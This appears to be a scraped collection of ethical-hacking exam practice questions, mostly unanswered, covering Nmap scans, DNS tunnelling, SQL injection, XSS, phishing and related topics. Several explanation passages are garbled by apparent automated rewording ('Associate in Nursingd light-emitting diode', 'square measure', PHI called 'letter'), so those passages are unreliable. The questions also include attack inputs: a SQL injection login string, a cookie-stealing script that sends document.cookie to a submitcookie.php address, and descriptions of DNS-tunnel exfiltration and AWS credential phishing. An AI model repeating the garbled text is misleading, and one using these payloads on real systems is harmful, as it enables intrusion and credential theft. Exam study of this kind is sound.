What would you enter if you wanted to perform a stealth scan using Nmap?
When configuring wireless on his home router, Javik disables SSID broadcast. He leaves authentication “open” but sets the SSID to a 32-character string of random letters and numbers.
What is an accurate assessment of this scenario from a security perspective?
An attacker scans a host with the below command. Which three flags are set?
# nmap -sX host.domain.com
A technician is resolving an issue where a computer is unable to connect to the Internet using a wireless access point. The computer is able to transfer files locally to other machines, but cannot successfully reach the Internet. When the technician examines the IP address and default gateway they are both on the 192.168.1.0/24. Which of the following has occurred?
Robin, an attacker, is attempting to bypass the firewalls of an organization through the DNS tunneling method in order to exfiltrate data. He is using the NSTX tool for bypassing the firewalls. On which of the following ports should Robin run the NSTX tool?
DNS uses Ports 53 which is almost always open on systems, firewalls, and clients to transmit DNS queries. instead of the more familiar Transmission Control Protocol (TCP) these queries use User Datagram Protocol (UDP) due to its low-latency, bandwidth and resource usage compared TCP-equivalent queries. UDP has no error or flow-control capabilities, nor does it have any integrity checking to make sure the info arrived intact.How is internet use (browsing, apps, chat etc) so reliable then? If the UDP DNS query fails (it’s a best-effort protocol after all) within the first instance, most systems will retry variety of times and only after multiple failures, potentially switch to TCP before trying again; TCP is additionally used if the DNS query exceeds the restrictions of the UDP datagram size – typically 512 bytes for DNS but can depend upon system settings.Figure 1 below illustrates the essential process of how DNS operates: the client sends a question string (for example, mail.google[.]com during this case) with a particular type – typically A for a number address. I’ve skipped the part whereby intermediate DNS systems may need to establish where ‘.com’ exists, before checking out where ‘google[.]com’ are often found, and so on.
Many worms and scanners are created to seek out and exploit systems running telnet. Given these facts, it’s really no surprise that telnet is usually seen on the highest Ten Target Ports list. Several of the vulnerabilities of telnet are fixed. They require only an upgrade to the foremost current version of the telnet Daemon or OS upgrade. As is usually the case, this upgrade has not been performed on variety of devices. this might flow from to the very fact that a lot of systems administrators and users don’t fully understand the risks involved using telnet. Unfortunately, the sole solution for a few of telnets vulnerabilities is to completely discontinue its use. the well-liked method of mitigating all of telnets vulnerabilities is replacing it with alternate protocols like ssh. Ssh is capable of providing many of an equivalent functions as telnet and a number of other additional services typical handled by other protocols like FTP and Xwindows. Ssh does still have several drawbacks to beat before it can completely replace telnet. it’s typically only supported on newer equipment. It requires processor and memory resources to perform the info encryption and decryption. It also requires greater bandwidth than telnet thanks to the encryption of the info . This paper was written to assist clarify how dangerous the utilization of telnet are often and to supply solutions to alleviate the main known threats so as to enhance the general security of the web
Once a reputation is resolved to an IP caching also helps: the resolved name-to-IP is usually cached on the local system (and possibly on intermediate DNS servers) for a period of your time . Subsequent queries for an equivalent name from an equivalent client then don’t leave the local system until said cache expires. Of course, once the IP address of the remote service is understood , applications can use that information to enable other TCP-based protocols, like HTTP, to try to to their actual work, for instance ensuring internet cat GIFs are often reliably shared together with your colleagues.So, beat all, a couple of dozen extra UDP DNS queries from an organization’s network would be fairly inconspicuous and will leave a malicious payload to beacon bent an adversary; commands could even be received to the requesting application for processing with little difficulty.
Why would you consider sending an email to an address that you know does not exist within the company you are performing a Penetration Test for?
Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target network.
Which of the following host discovery techniques must he use to perform the given task?
One of the most common Nmap usage scenarios is scanning an Ethernet LAN. Most LANs, especially those that use the private address range granted by RFC 1918, do not always use the overwhelming majority of IP addresses. When Nmap attempts to send a raw IP packet, such as an ICMP echo request, the OS must determine a destination hardware (ARP) address, such as the target IP, so that the Ethernet frame can be properly addressed. .. This is required to issue a series of ARP requests. This is best illustrated by an example where a ping scan is attempted against an Area Ethernet host. The –send-ip option tells Nmap to send IP-level packets (rather than raw Ethernet), even on area networks. The Wireshark output of the three ARP requests and their timing have been pasted into the session.
Raw IP ping scan example for offline targetsThis example took quite a couple of seconds to finish because the (Linux) OS sent three ARP requests at 1 second intervals before abandoning the host. Waiting for a few seconds is excessive, as long as the ARP response usually arrives within a few milliseconds. Reducing this timeout period is not a priority for OS vendors, as the overwhelming majority of packets are sent to the host that actually exists. Nmap, on the other hand, needs to send packets to 16 million IP s given a target like 10.0.0.0/8. Many targets are pinged in parallel, but waiting 2 seconds each is very delayed.
There is another problem with raw IP ping scans on the LAN. If the destination host turns out to be unresponsive, as in the previous example, the source host usually adds an incomplete entry for that destination IP to the kernel ARP table. ARP tablespaces are finite and some operating systems become unresponsive when full. If Nmap is used in rawIP mode (–send-ip), Nmap may have to wait a few minutes for the ARP cache entry to expire before continuing host discovery.
ARP scans solve both problems by giving Nmap the highest priority. Nmap issues raw ARP requests and handles retransmissions and timeout periods in its sole discretion. The system ARP cache is bypassed. The example shows the difference. This ARP scan takes just over a tenth of the time it takes for an equivalent IP.
Example b ARP ping scan of offline target
In example b, neither the -PR option nor the -send-eth option has any effect. This is often because ARP has a default scan type on the Area Ethernet network when scanning Ethernet hosts that Nmap discovers. This includes traditional wired Ethernet as 802.11 wireless networks. As mentioned above, ARP scanning is not only more efficient, but also more accurate. Hosts frequently block IP-based ping packets, but usually cannot block ARP requests or responses and communicate over the network.Nmap uses ARP instead of all targets on equivalent targets, even if different ping types (such as -PE and -PS) are specified. LAN.. If you do not need to attempt an ARP scan at all, specify –send-ip as shown in Example a “Raw IP Ping Scan for Offline Targets”.
If you give Nmap control to send raw Ethernet frames, Nmap can also adjust the source MAC address. If you have the only PowerBook in your security conference room and a large ARP scan is initiated from an Apple-registered MAC address, your head may turn to you. Use the –spoof-mac option to spoof the MAC address as described in the MAC Address Spoofing section.
During a black-box pen test you attempt to pass IRC traffic over port 80/TCP from a compromised web enabled host. The traffic gets blocked; however, outbound HTTP traffic is unimpeded. What type of firewall is inspecting outbound traffic?
While using your bank’s online servicing you notice the following string in the URL bar:
“http: // www. MyPersonalBank. com/ account?id=368940911028389 &Damount=10980&Camount=21”
You observe that if you modify the Damount & Camount values and submit the request, that data on the web page reflects the changes.
Which type of vulnerability is present on this site?
Which of the following Linux commands will resolve a domain name into IP address?
Widespread fraud ac Enron. WorldCom, and Tyco led to the creation of a law that was designed to improve the accuracy and accountability of corporate disclosures. It covers accounting firms and third parties that provide financial services to some organizations and came into effect in 2002. This law is known by what acronym?
The Sarbanes-Oxley Act of 2002 could be a law the U.S. Congress passed on July thirty of that year to assist defend investors from fallacious money coverage by companies.Also called the SOX Act of 2002 and also the company Responsibility Act of 2002, it mandated strict reforms to existing securities rules and obligatory powerful new penalties on law breakers.
The Sarbanes-Oxley law Act of 2002 came in response to money scandals within the early 2000s involving in public listed corporations like Enron Corporation, Tyco International plc, and WorldCom. The high-profile frauds cask capitalist confidence within the trustiness of company money statements Associate in Nursingd light-emitting diode several to demand an overhaul of decades-old restrictive standards.
Which is the first step followed by Vulnerability Scanners for scanning a network?
Eve is spending her day scanning the library computers. She notices that Alice is using a computer whose port 445 is active and listening. Eve uses the ENUM tool to enumerate Alice machine. From the command prompt, she types the following command.
What is Eve trying to do?
Bella, a security professional working at an it firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames. and passwords are shared In plaintext, paving the way for hackers 10 perform successful session hijacking. To address this situation. Bella Implemented a protocol that sends data using encryption and digital certificates. Which of the following protocols Is used by Bella?
The File Transfer Protocol (FTP) is a standard organization convention utilized for the exchange of PC records from a worker to a customer on a PC organization. FTP is based on a customer worker model engineering utilizing separate control and information associations between the customer and the server. FTP clients may validate themselves with an unmistakable book sign-in convention, ordinarily as a username and secret key, however can interface namelessly if the worker is designed to permit it. For secure transmission that ensures the username and secret phrase, and scrambles the substance, FTP is frequently made sure about with SSL/TLS (FTPS) or supplanted with SSH File Transfer Protocol (SFTP).
The primary FTP customer applications were order line programs created prior to working frameworks had graphical UIs, are as yet dispatched with most Windows, Unix, and Linux working systems. Many FTP customers and mechanization utilities have since been created for working areas, workers, cell phones, and equipment, and FTP has been fused into profitability applications, for example, HTML editors.
Leverox Solutions hired Arnold, a security professional, for the threat intelligence process. Arnold collected information about specific threats against the organization. From this information, he retrieved contextual information about security events and incidents that helped him disclose potential risks and gain insight into attacker methodologies. He collected the information from sources such as humans, social media, and chat rooms as well as from events that resulted in cyberattacks. In this process, he also prepared a report that includes identified malicious activities, recommended courses of action, and warnings for emerging attacks. What is the type of threat intelligence collected by Arnold in the above scenario?
You are the Network Admin, and you get a complaint that some of the websites are no longer accessible. You try to ping the servers and find them to be reachable. Then you type the IP address and then you try on the browser, and find it to be accessible. But they are not accessible when you try using the URL.
What may be the problem?
Which system consists of a publicly available set of databases that contain domain name registration contact information?
Suppose that you test an application for the SQL injection vulnerability. You know that the backend database
is based on Microsoft SQL Server. In the login/password form, you enter the following credentials:
Username: attack' or 1=1 -
Based on the above credentials, which of the following SQL commands are you expecting to be executed by the server, if there is indeed an SQL injection vulnerability?
Insecure direct object reference is a type of vulnerability where the application does not verify if the user is authorized to access the internal object via its name or key. Suppose a malicious user Rob tries to get access to the account of a benign user Ned.
Which of the following requests best illustrates an attempt to exploit an insecure direct object reference vulnerability?
Attacker Simon targeted the communication network of an organization and disabled the security controls of NetNTLMvl by modifying the values of LMCompatibilityLevel, NTLMMinClientSec, and RestrictSendingNTLMTraffic. He then extracted all the non-network logon tokens from all the active processes to masquerade as a legitimate user to launch further attacks. What is the type of attack performed by Simon?
Tony is a penetration tester tasked with performing a penetration test. After gaining initial access to a target
system, he finds a list of hashed passwords.
Which of the following tools would not be useful for cracking the hashed passwords?
Bob was recently hired by a medical company after it experienced a major cyber security breach. Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search. Bob's boss is very worried because of regulations that protect those data. Which of the following regulations is mostly violated?
PHI stands for Protected Health info. The HIPAA Privacy Rule provides federal protections for private health info held by lined entities and provides patients an array of rights with regard to that info. under HIPAA phi is considered to be any identifiable health info that’s used, maintained, stored, or transmitted by a HIPAA-covered entity – a healthcare provider, health plan or health insurer, or a aid clearinghouse – or a business associate of a HIPAA-covered entity, in relation to the availability of aid or payment for aid services.
It is not only past and current medical info that’s considered letter under HIPAA Rules, however also future info concerning medical conditions or physical and mental health related to the provision of care or payment for care. phi is health info in any kind, together with physical records, electronic records, or spoken info.
Therefore, letter includes health records, medical histories, lab check results, and medical bills. basically, all health info is considered letter once it includes individual identifiers. Demographic info is additionally thought of phi underneath HIPAA Rules, as square measure several common identifiers like patient names, Social Security numbers, Driver’s license numbers, insurance details, and birth dates, once they square measure connected with health info.
The eighteen identifiers that create health info letter are:
One or a lot of of those identifiers turns health info into letter, and phi HIPAA Privacy Rule restrictions can then apply that limit uses and disclosures of the data. HIPAA lined entities and their business associates will ought to guarantee applicable technical, physical, and body safeguards are enforced to make sure the confidentiality, integrity, and availability of phi as stipulated within the HIPAA Security Rule.
A pen tester is configuring a Windows laptop for a test. In setting up Wireshark, what river and library
are required to allow the NIC to work in promiscuous mode?
Which of the following options represents a conceptual characteristic of an anomaly-based IDS over a signature-based IDS?
Which of the following statements is FALSE with respect to Intrusion Detection Systems?
What type of analysis is performed when an attacker has partial knowledge of inner-workings of the application?
What is the proper response for a NULL scan if the port is closed?
DNS cache snooping is a process of determining if the specified resource address is present in the DNS cache records. It may be useful during the examination of the network to determine what software update resources are used, thus discovering what software is installed.
What command is used to determine if the entry is present in DNS cache?
What is one of the advantages of using both symmetric and asymmetric cryptography in SSL/TLS?
Which tool can be used to silently copy files from USB devices?
John, a professional hacker, performs a network attack on a renowned organization and gains unauthorized access to the target network. He remains in the network without being detected for a long time and obtains sensitive information without sabotaging the organization. Which of the following attack techniques is used by John?
An advanced persistent threat (APT) may be a broad term wont to describe AN attack campaign within which an intruder, or team of intruders, establishes a bootleg, long presence on a network so as to mine sensitive knowledge.
The targets of those assaults, that square measure terribly fastidiously chosen and researched, usually embrace massive enterprises or governmental networks. the implications of such intrusions square measure huge, and include:
Executing an APT assault needs additional resources than a regular internet application attack. The perpetrators square measure typically groups of intimate cybercriminals having substantial resource. Some APT attacks square measure government-funded and used as cyber warfare weapons.
APT attacks dissent from ancient internet application threats, in that:
More common attacks, like remote file inclusion (RFI), SQL injection and cross-site scripting (XSS), square measure oftentimes employed by perpetrators to ascertain a footing in a very targeted network. Next, Trojans and backdoor shells square measure typically wont to expand that foothold and make a persistent presence inside the targeted perimeter.
What kind of detection techniques is being used in antivirus softwares that identifies malware by collecting data from multiple protected systems and instead of analyzing files locally it's made on the premiers environment-
which type of virus can change its own code and then cipher itself multiple times as it replicates?
A stealth virus may be a sort of virus malware that contains sophisticated means of avoiding detection by antivirus software. After it manages to urge into the now-infected machine a stealth viruses hides itself by continually renaming and moving itself round the disc.Like other viruses, a stealth virus can take hold of the many parts of one’s PC. When taking control of the PC and performing tasks, antivirus programs can detect it, but a stealth virus sees that coming and can rename then copy itself to a special drive or area on the disc, before the antivirus software. Once moved and renamed a stealth virus will usually replace the detected ‘infected’ file with a clean file that doesn’t trigger anti-virus detection. It’s a never-ending game of cat and mouse.The intelligent architecture of this sort of virus about guarantees it’s impossible to completely rid oneself of it once infected. One would need to completely wipe the pc and rebuild it from scratch to completely eradicate the presence of a stealth virus. Using regularly-updated antivirus software can reduce risk, but, as we all know, antivirus software is additionally caught in an endless cycle of finding new threats and protecting against them.
You have successfully comprised a server having an IP address of 10.10.0.5. You would like to enumerate all machines in the same network quickly.
What is the best Nmap command you will use? A. nmap -T4 -q 10.10.0.0/24
B. nmap -T4 -F 10.10.0.0/24 C. nmap -T4 -r 10.10.1.0/24 D. nmap -T4 -O 10.10.0.0/24
Kevin, an encryption specialist, implemented a technique that enhances the security of keys used for encryption and authentication. Using this technique, Kevin input an initial key to an algorithm that generated an enhanced key that is resistant to brute-force attacks. What is the technique employed by Kevin to improve the security of encryption keys?
A network admin contacts you. He is concerned that ARP spoofing or poisoning might occur on his network. What are some things he can do to prevent it? Select the best answers.
Log monitoring tools performing behavioral analysis have alerted several suspicious logins on a Linux server occurring during non-business hours. After further examination of all login activities, it is noticed that none of the logins have occurred during typical work hours. A Linux administrator who is investigating this problem realizes the system time on the Linux server is wrong by more than twelve hours. What protocol used on Linux servers to synchronize the time has stopped working?
Which of the following tools is used to detect wireless LANs using the 802.11a/b/g/n WLAN standards on a linux platform?
The “Gray-box testing” methodology enforces what kind of restriction?
In order to tailor your tests during a web-application scan, you decide to determine which web-server version is hosting the application. On using the sV flag with Nmap. you obtain the following response:
80/tcp open http-proxy Apache Server 7.1.6
what Information-gathering technique does this best describe?
Banner grabbing is a technique wont to gain info about a computer system on a network and the services running on its open ports. administrators will use this to take inventory of the systems and services on their network. However, an to find will use banner grabbing so as to search out network hosts that are running versions of applications and operating systems with known exploits.
Some samples of service ports used for banner grabbing are those used by Hyper Text Transfer Protocol (HTTP), File Transfer Protocol (FTP), and Simple Mail Transfer Protocol (SMTP); ports 80, 21, and 25 severally. Tools normally used to perform banner grabbing are Telnet, nmap and Netcat.
For example, one may establish a connection to a target internet server using Netcat, then send an HTTP request. The response can usually contain info about the service running on the host:
Graphical user interface, text, application Description automatically generated
This information may be used by an administrator to catalog this system, or by an intruder to narrow down a list of applicable exploits.To prevent this, network administrators should restrict access to services on their networks and shut down unused or unnecessary services running on network hosts. Shodan is a search engine for banners grabbed from portscanning the Internet.
Which of the following is not a Bluetooth attack?
MX record priority increases as the number increases. (True/False.)
Which wireless security protocol replaces the personal pre-shared key (PSK) authentication with Simultaneous Authentication of Equals (SAE) and is therefore resistant to offline dictionary attacks?
Which of the following programming languages is most susceptible to buffer overflow attacks, due to its lack of a built-in bounds checking mechanism?
strcpy(buffer, ““11111111111111111111111111111””);} Output: Segmentation fault
When a security analyst prepares for the formal security assessment - what of the following should be done in order to determine inconsistencies in the secure assets database and verify that system is compliant to the minimum security baseline?
Suppose your company has just passed a security risk assessment exercise. The results display that the risk of the breach in the main company application is 50%. Security staff has taken some measures and
implemented the necessary controls. After that, another security risk assessment was performed showing that risk has decreased to 10%. The risk threshold for the application is 20%. Which of the following risk decisions will be the best for the project in terms of its successful continuation with the most business profit?
A zone file consists of which of the following Resource Records (RRs)?
James is working as an ethical hacker at Technix Solutions. The management ordered James to discover how vulnerable its network is towards footprinting attacks. James took the help of an open-source framework for performing automated reconnaissance activities. This framework helped James in gathering information using free tools and resources. What is the framework used by James to conduct footprinting and reconnaissance activities?
Which of these is capable of searching for and locating rogue access points?
Ralph, a professional hacker, targeted Jane, who had recently bought new systems for her company. After a few days, Ralph contacted Jane while masquerading as a legitimate customer support executive, informing that her systems need to be serviced for proper functioning and that customer support will send a computer technician. Jane promptly replied positively. Ralph entered Jane's company using this opportunity and gathered sensitive information by scanning terminals for passwords, searching for important documents in desks, and rummaging bins. What is the type of attack technique Ralph used on jane?
what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?
Why is a penetration test considered to be more thorough than vulnerability scan?
Sam, a professional hacker. targeted an organization with intention of compromising AWS IAM credentials. He attempted to lure one of the employees of the organization by initiating fake calls while posing as a legitimate employee. Moreover, he sent phishing emails to steal the AWS 1AM credentials and further compromise the employee's account. What is the technique used by Sam to compromise the AWS IAM credentials?
Just like any other service that accepts usernames and passwords for logging in, AWS users are vulnerable to social engineering attacks from attackers. fake emails, calls, or any other method of social engineering, may find yourself with an AWS users’ credentials within the hands of an attacker.
If a user only uses API keys for accessing AWS, general phishing techniques could still use to gain access to other accounts or their pc itself, where the attacker may then pull the API keys for aforementioned AWS user.
With basic opensource intelligence (OSINT), it’s usually simple to collect a list of workers of an organization that use AWS on a regular basis. This list will then be targeted with spear phishing to do and gather credentials. an easy technique may include an email that says your bill has spiked 500th within the past 24 hours, “click here for additional information”, and when they click the link, they’re forwarded to a malicious copy of the AWS login page designed to steal their credentials.
An example of such an email will be seen within the screenshot below. it’s exactly like an email that AWS would send to you if you were to exceed the free tier limits, except for a few little changes. If you clicked on any of the highlighted regions within the screenshot, you’d not be taken to the official AWS web site and you’d instead be forwarded to a pretend login page setup to steal your credentials.
These emails will get even more specific by playing a touch bit additional OSINT before causing them out. If an attacker was ready to discover your AWS account ID on-line somewhere, they could use methods we at rhino have free previously to enumerate what users and roles exist in your account with none logs contact on your side. they could use this list to more refine their target list, further as their emails to reference services they will know that you often use.
For reference, the journal post for using AWS account IDs for role enumeration will be found here and the journal post for using AWS account IDs for user enumeration will be found here.
During engagements at rhino, we find that phishing is one in all the fastest ways for us to achieve access to an AWS environment.
Which type of attack attempts to overflow the content-addressable memory (CAM) table in an Ethernet switch?
You have successfully logged on a Linux system. You want to now cover your trade Your login attempt may be logged on several files located in /var/log. Which file does NOT belongs to the list:
The company ABC recently contracts a new accountant. The accountant will be working with the financial statements. Those financial statements need to be approved by the CFO and then they will be sent to the accountant but the CFO is worried because he wants to be sure that the information sent to the accountant was not modified once he approved it. Which of the following options can be useful to ensure the integrity of the data?
One of your team members has asked you to analyze the following SOA record. What is the version?
Rutgers.edu.SOA NS1.Rutgers.edu ipad.college.edu (200302028 3600 3600 604800 2400.) (Choose four.)
An attacker with access to the inside network of a small company launches a successful STP manipulation attack. What will he do next?
What is a NULL scan?
Which of the following tools can be used for passive OS fingerprinting?
Kevin, a professional hacker, wants to penetrate CyberTech Inc.’s network. He employed a technique, using which he encoded packets with Unicode characters. The company’s IDS cannot recognize the packet, but the target web server can decode them.
What is the technique used by Kevin to evade the IDS system?
Adversaries could decide to build an possible or file difficult to find or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. this is often common behavior which will be used across totally different platforms and therefore the network to evade defenses.
Portions of files can even be encoded to cover the plain-text strings that will otherwise facilitate defenders with discovery. Payloads can also be split into separate, ostensibly benign files that solely reveal malicious practicality once reassembled.
Adversaries can also modify commands dead from payloads or directly via a Command and Scripting Interpreter. surroundings variables, aliases, characters, and different platform/language specific linguistics may be wont to evade signature based mostly detections and application management mechanisms.
What is the least important information when you analyze a public IP address in a security alert?
Why containers are less secure that virtual machines?
One of your team members has asked you to analyze the following SOA record.
What is the TTL? Rutgers.edu.SOA NS1.Rutgers.edu ipad.college.edu (200302028 3600 3600 604800 2400.)
You have the SOA presented below in your Zone.
Your secondary servers have not been able to contact your primary server to synchronize information. How long will the secondary servers attempt to contact the primary server before it considers that zone is dead and stops responding to queries?
collegae.edu.SOA, cikkye.edu ipad.college.edu. (200302028 3600 3600 604800 3600)
You are tasked to configure the DHCP server to lease the last 100 usable IP addresses in subnet to. 1.4.0/23. Which of the following IP addresses could be teased as a result of the new configuration?
What is the minimum number of network connections in a multihomed firewall?
There have been concerns in your network that the wireless network component is not sufficiently secure. You perform a vulnerability scan of the wireless network and find that it is using an old encryption protocol that was designed to mimic wired encryption, what encryption protocol is being used?
Wired Equivalent Privacy (WEP) may be a security protocol, laid out in the IEEE wireless local area network (Wi-Fi) standard, 802.11b, that’s designed to supply a wireless local area network (WLAN) with A level of security and privacy like what’s usually expected of a wired LAN. A wired local area network (LAN) is usually protected by physical security mechanisms (controlled access to a building, for example) that are effective for a controlled physical environment, but could also be ineffective for WLANs because radio waves aren’t necessarily bound by the walls containing the network. WEP seeks to determine similar protection thereto offered by the wired network’s physical security measures by encrypting data transmitted over the WLAN. encoding protects the vulnerable wireless link between clients and access points; once this measure has been taken, other typical LAN security mechanisms like password protection, end-to-end encryption, virtual private networks (VPNs), and authentication are often put in situ to make sure privacy.A research group from the University of California at Berkeley recently published a report citing “major security flaws” in WEP that left WLANs using the protocol susceptible to attacks (called wireless equivalent privacy attacks). within the course of the group’s examination of the technology, they were ready to intercept and modify transmissions and gain access to restricted networks. The Wireless Ethernet Compatibility Alliance (WECA) claims that WEP – which is included in many networking products – was never intended to be the only security mechanism for a WLAN, and that, in conjunction with traditional security practices, it’s very effective.
An attacker redirects the victim to malicious websites by sending them a malicious link by email. The link appears authentic but redirects the victim to a malicious web page, which allows the attacker to steal the victim's data. What type of attack is this?
Which type of security feature stops vehicles from crashing through the doors of a building?
A network administrator discovers several unknown files in the root directory of his Linux FTP server. One of the files is a tarball, two are shell script files, and the third is a binary file is named "nc." The FTP server's access logs show that the anonymous user account logged in to the server, uploaded the files, and extracted the contents of the tarball and ran the script using a function provided by the FTP server's software. The “ps” command shows that the “nc” file is running as process, and the netstat command shows the “nc” process is listening on a network port.
What kind of vulnerability must be present to make this remote attack possible?
Which of the following is the BEST way to defend against network sniffing?
Roma is a member of a security team. She was tasked with protecting the internal network of an organization from imminent threats. To accomplish this task, Roma fed threat intelligence into the security devices in a digital format to block and identify inbound and outbound malicious traffic entering the organization's network.
Which type of threat intelligence is used by Roma to secure the internal network?
Which of the following is the primary objective of a rootkit?
Which of the following is the structure designed to verify and authenticate the identity of individuals within the enterprise taking part in a data exchange?
Judy created a forum, one day. she discovers that a user is posting strange images without writing comments.
She immediately calls a security expert, who discovers that the following code is hidden behind those images:
document.writefhttps://Ioca(host/submitcookie.php? cookie = '+ escape(document.cookie)+ " />);
What issue occurred for the users who clicked on the image?
document.write(<img.src=https://localhost/submitcookie.php cookie =+ escape(document.cookie) +/ >); (Cookie and session ID theft)